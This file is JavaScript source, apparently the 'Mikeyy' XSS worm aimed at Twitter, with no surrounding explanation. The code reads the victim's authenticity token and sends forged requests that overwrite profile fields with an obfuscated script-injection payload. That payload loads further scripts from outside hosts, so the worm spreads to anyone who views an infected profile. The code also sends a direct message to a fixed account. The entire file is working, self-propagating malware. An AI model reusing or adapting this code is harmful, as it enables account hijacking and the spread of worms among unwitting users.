function XHConn() {
  var xmlhttp, bComplete = false;
  try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
  catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
  catch (e) { try { xmlhttp = new XMLHttpRequest(); }
  catch (e) { xmlhttp = false; }}}
  if (!xmlhttp) return null;
  this.connect = function(sURL, sMethod, sVars, fnDone)
  {
    if (!xmlhttp) return false;
    bComplete = false;
    sMethod = sMethod.toUpperCase();
    try {
      if (sMethod == "GET")
      {
        xmlhttp.open(sMethod, sURL+"?"+sVars, true);
        sVars = "";
      }
      else
      {
        xmlhttp.open(sMethod, sURL, true);
        xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
        xmlhttp.setRequestHeader("Content-Type",
          "application/x-www-form-urlencoded");
      }
      xmlhttp.onreadystatechange = function(){
        if (xmlhttp.readyState == 4 && !bComplete)
        {
          bComplete = true;
          fnDone(xmlhttp);
        }};
      xmlhttp.send(sVars);
    }
    catch(z) { return false; }
    return true;
  };
  return this;
}

function urlencode( str ) {
    var histogram = {}, tmp_arr = [];
    var ret = str.toString();
    
    var replacer = function(search, replace, str) {
        var tmp_arr = [];
        tmp_arr = str.split(search);
        return tmp_arr.join(replace);
    };
    
    histogram["'"] = '%27';
    histogram['('] = '%28';
    histogram[')'] = '%29';
    histogram['*'] = '%2A';
    histogram['~'] = '%7E';
    histogram['!'] = '%21';
    histogram['%20'] = '+';
    
    ret = encodeURIComponent(ret);
    
    for (search in histogram) {
        replace = histogram[search];
        ret = replacer(search, replace, ret)
    }
 
    return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
        return "%"+m2.toUpperCase();
    });
    
    return ret;
}

function wait()
{
  var content = document.documentElement.innerHTML;
 
  authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
  var authtoken = authreg.exec(content);
  authtoken = authtoken[1];
  
  /*
  var randomUpdate=new Array();
  randomUpdate[0]="Twitter should really fix this... Mikeyy";
  randomUpdate[1]="I am done... Mikeyy";
  randomUpdate[2]="Mikeyy is done..";
  randomUpdate[3]="Twitter please fix this, regards Mikeyy";
  
  var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
  var updateEncode = urlencode(genRand);
  */
  
  var randomXSS=new Array();
  randomXSS[0]='mikeyy:)           "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script>                       <a ';
  randomXSS[1]='mikeyy:)            "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script>                       <a ';
  randomXSS[2]='mikeyy:)            "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script>                       <a ';
  
  var genXSS = randomXSS[Math.floor(Math.random()*randomXSS.length)];
  var xss = urlencode(genXSS); 
 
  /*
  var ajaxConn = new XHConn();
  ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
  */
  var alert = urlencode("You got me. :)");
  
  var ajaxConn = new XHConn();
  ajaxConn.connect("/direct_messages/create", "POST", "authenticity_token="+authtoken+"&text="+alert+"&twttr=true&user[id]=30685046");
  
  var ajaxConn3 = new XHConn();
  ajaxConn3.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]="+xss+"&user[location]=Womp+++++++++++++++++++++++++++++++++++++++++!Womp+++++++++++++++++++++++++++++++++++++++++!&tab=home&update=update");
  
  var ajaxConn1 = new XHConn();
  ajaxConn1.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]="+xss+"&commit=save+changes");

  var ajaxConn4 = new XHConn();
  ajaxConn4.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]="+xss+"&user[location]=Womp+++++++++++++++++++++++++++++++++++++++++!Womp+++++++++++++++++++++++++++++++++++++++++!&tab=home&update=update");
    
  var ajaxConn5 = new XHConn();
  ajaxConn5.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]="+xss+"&commit=save+changes");
  
  var ajaxConn6 = new XHConn();
  ajaxConn6.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]="+xss+"&tab=home&update=update");
 
}
setTimeout("wait()",3500);